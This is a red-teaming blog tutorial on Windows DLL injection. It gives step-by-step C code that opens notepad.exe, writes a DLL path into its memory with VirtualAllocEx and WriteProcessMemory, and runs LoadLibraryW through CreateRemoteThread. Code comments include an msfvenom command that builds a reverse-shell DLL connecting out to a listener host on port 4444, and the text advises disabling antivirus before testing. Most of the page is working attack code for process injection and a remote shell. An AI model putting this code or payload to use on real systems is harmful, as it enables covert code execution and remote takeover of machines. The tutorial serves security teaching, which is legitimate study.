> For the complete documentation index, see [llms.txt](https://blog.talhakarakumru.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.talhakarakumru.com/red-teaming/dll-injection.md).

# DLL Injection

{% embed url="<https://youtu.be/aUstBUNabdI>" %}

{% embed url="<https://github.com/talhak08/dll_injection>" %}

## Prerequisites

1. Coding experience with C/C++.
2. IDE (Visual Studio is preferred)

## Steps to Inject DLL

1. Find a process that we have permission to write into its virtual memory space.
2. Open the process.
3. Allocate virtual memory space in the process to place path of the DLL.
4. Write the the path of DLL into the virtual memory space.
5. Find the [**LoadLibraryW** ](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw)address in **Kernel32**.
6. Create a remote thread to execute malicious code in the DLL.

## Step #1 - Find The Process

To find a process that we are allowed to write, we need a way to take a snapshot of all running processes, then we can find the process we want. In this example code, we'll open **notepad.exe** as a target process.

To take a snapshot, we'll use [**CreateToolhelp32Snapshot**](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot) function. **CreateToohelp32Snapshot** takes **2** parameters:

**\[in] DWORD dwFlags** => The portions of the system to be included in the snapshot.

**TH32CS\_SNAPALL** => Include every portion of the system.

**\[in] DWORD th32ProcessID** => The process identifier of the process to be included in the snapshot.

**NULL** => Indicate the current process.

### Code #1 - Take a Snapshot

Don't forget to close every handle you open. ([**CloseHandle**](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle))

```
#include <windows.h>
#include <TlHelp32.h>

int main(int argc, char** argv) {
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

	CloseHandle(snapshot);
	return 0;
}
```

After taking a snapshot, it's time to find the process id of **notepad.exe**. To find a process id of any program, we need [**Process32First** ](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first)and [**Process32Next** ](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next)functions.

**Process32First** gives us the first process in the snapshot. The function takes **2** parameters:

**\[in] HANDLE hSnapshot** => It's the handle of the snapshot we took.

**\[in, out] LPPROCESSENTRY32 lppe** =>A pointer to a [**PROCESSENTRY32** ](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-processentry32)structure. It contains process information such as the name of the executable file, the process identifier, and the process identifier of the parent process.

**Process32Next** is used to iterate each element/process of the snapshot. We cannot use it directly before **Process32First**. The function takes **same** parameters as **Process32First**.

### Code #2 - Find The Process

```
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>

// wchat_t* is used for UTF-16 character space.
int getProcessId(HANDLE snapshot, wchar_t* processName) {
	PROCESSENTRY32 processEntry;
	// The size of the structure, in bytes.
	processEntry.dwSize = sizeof(PROCESSENTRY32);

	BOOL success = Process32First(snapshot, &processEntry);
	
	// Could not find a process.
	if (!success)
		return -2;

	while (success) {
		// wcscmp is used to compare UTF-16 strings.
		if (wcscmp(processEntry.szExeFile, processName) == 0)
			return processEntry.th32ProcessID;

		success = Process32Next(snapshot, &processEntry);
	}

	return -1;
}

int main(int argc, char** argv) {
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

	// TEXT is used to create UTF-16 strings.
	int processId = getProcessId(snapshot, TEXT("notepad.exe"));
	printf("Process Id: %d\n", processId);

	CloseHandle(snapshot);
	return 0;
}

```

#### Output

```
Process Id: 22120
```

## Step #2 - Open The Process

To open a process, we can use [**OpenProcess**](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess). The function takes **3** parameters:

&#x20;**\[in] DWORD dwDesiredAccess** => The access to the process object.

**PROCESS\_ALL\_ACCESS** => All possible access rights for a process object.

**\[in] BOOL bInheritHandle** => If this value is TRUE, processes created by this process will inherit the handle.

**\[in] DWORD dwProcessId** => The target process we want to open.

### Code #3

```
// -- snippet --
int main(int argc, char** argv) {
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

	// TEXT is used to create UTF-16 strings.
	int processId = getProcessId(snapshot, TEXT("notepad.exe"));
	printf("Process Id: %d\n", processId);
	CloseHandle(snapshot);

	HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

	CloseHandle(notepad);
	return 0;
}
```

## Step #3 - Allocate Virtual Memory

Now it's time to allocate virtual memory space in the **notepad.exe** process. To do that, we'll use [**VirtualAllocEx**](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex). The function takes **5** parameters:

**\[in] HANDLE hProcess** => The handle of the process we opened.

**\[in, optional] LPVOID lpAddress** => The pointer that specifies a desired starting address for the region of pages that you want to allocate.

**NULL** => Function automatically chooses where to allocate the region.

**\[in] SIZE\_T dwSize** => Allocation size. In this case, it's going to be the size of the DDL's path.

**\[in] DWORD flAllocationType**

**MEM\_COMMIT** => Allocates memory charges (from the overall size of memory and the paging files on disk) for the specified reserved memory pages.

**\[in] DWORD flProtect** => The memory protection for the region of pages to be allocated.

**PAGE\_READWRITE** => Enables read-only or read/write access to the committed region of pages.

### Code #4

```
// -- snippet ---
int main(int argc, char** argv) {
	// -- snippet --
	HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

	// msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 EXITFUNC=thread -f dll -o reverse_shell.dll
	wchar_t dllPath[] = TEXT("PATH OF THE MALICIOUS DLL");
	
	LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);

	CloseHandle(notepad);
	return 0;
}
```

## Step #4 Write to Virtual Memory

After allocating a virtual memory space for the path of DLL, we'll get into writing the path into the allocated space. To do that, we're going to use [**WriteProcessMemory**](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory). The function takes **5** parameters:

**\[in] HANDLE hProcess** => The referece of the process (notepad.exe).

**\[in] LPVOID lpBaseAddress** => A pointer to the base address in the specified process to which data is written. Basically this is the allocated buffer's pointer.

**\[in] LPCVOID lpBuffer** => The pointer of the data. In this case it's the DLL path.

**\[in] SIZE\_T nSize** => Size of the data to be written.

**\[out] SIZE\_T \*lpNumberOfBytesWritten** => How many bytes have been written until a time. No need to keep track of written byte length in our case.

### Code #4

```
// -- snippet --
int main(int argc, char** argv) {
	// -- snippet --
	HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

	// msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 EXITFUNC=thread -f dll -o reverse_shell.dll
	wchar_t dllPath[] = TEXT("PATH OF THE MALICIOUS DLL");

	LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);

	if (allocatedBuffer) {
		WriteProcessMemory(notepad, allocatedBuffer, (LPVOID) dllPath, sizeof dllPath, NULL);
	}

	CloseHandle(notepad);
	return 0;
}
```

## Step #5 - Find The LoadLibraryW

[**LoadLibraryW** ](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw)is used to load libraries. To load the malicious DLL, we have to find the function's memory address in **Kernel32**. To do that, we're going to use [**GetProcAddress**](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress). The function takes only **2** parameters.

**\[in] HMODULE hModule** => A handle to the DLL module that contains the function or variable.

[**GetModuleHandle**](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea) can be used to retrieve **Kernel32**'s handle.

**\[in] LPCSTR lpProcName** => The function or variable name. This is basically what function we want to call. In this case, it's **LoadLibraryW**.

### Code #5

```
// -- snippet --
int main(int argc, char** argv) {
	// -- snippet --
	LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);

	if (allocatedBuffer) {
		WriteProcessMemory(notepad, allocatedBuffer, (LPVOID) dllPath, sizeof dllPath, NULL);

		PTHREAD_START_ROUTINE startRoutine = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	}

	CloseHandle(notepad);
	return 0;
}
```

## Step #6 - Execute The Malicious Code

Almost done. As the last step, we're going to call **LoadLibraryW** to execute malicious code which is inside the DLL. To call the **LoadLibraryW**, we'll create a remote thread. To do that, we can use [**CreateRemoteThread** ](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)function. The function takes **7** parameters:

**\[in] HANDLE hProcess** => The reference of the target process.

**\[in] LPSECURITY\_ATTRIBUTES lpThread Attributes** => A pointer to a [**SECURITY\_ATTRIBUTES**](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560\(v=vs.85\)) structure.

**\[in] SIZE\_T** => The initial size of the stack, in bytes. If this parameter is 0 (zero), the new thread uses the default size for the executable.

**\[in] LPTHREAD\_START\_ROUTINE lpStartAddress** => A pointer to the application-defined function of type [**LPTHREAD\_START\_ROUTINE** ](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/lpthread-start-routine-function-pointer)to be executed.

This is going to be the address of the **LoadLibraryW**.

**\[in] LPVOID lpParameter** =>A pointer to a variable to be passed to the thread function.

**LoadLibraryW** only takes the path of the DLL.

**\[in] DWORD dwCreationFlags** => The flags that control the creation of the thread.

**0** => Run the function after the thread is created.

**\[out] LPDWORD lpThreadId** => A pointer to a variable that receives the thread identifier.

### Code #6

```
// -- snippet --
int main(int argc, char** argv) {
	// -- snippet --
	LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);

	if (allocatedBuffer) {
		WriteProcessMemory(notepad, allocatedBuffer, (LPVOID) dllPath, sizeof dllPath, NULL);

		PTHREAD_START_ROUTINE startRoutine = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

		CreateRemoteThread(notepad, NULL, 0, startRoutine, allocatedBuffer, 0, NULL);
	}

	CloseHandle(notepad);
	return 0;
}
```

You might not be able to execute reverse shell multiple times. I recommend you to try this in a virtual machine and also don't forget to disable antivirus. We didn't do any evasion technique here.

## Links

1. <https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants>
2. <https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw>
3. <https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot>
4. <https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle>
5. <https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first>
6. <https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next>
7. <https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-processentry32>
8. <https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess>
9. <https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex>
10. <https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory>
11. <https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress>
12. <https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea>
13. <https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread>
14. <https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)>
15. <https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/lpthread-start-routine-function-pointer>
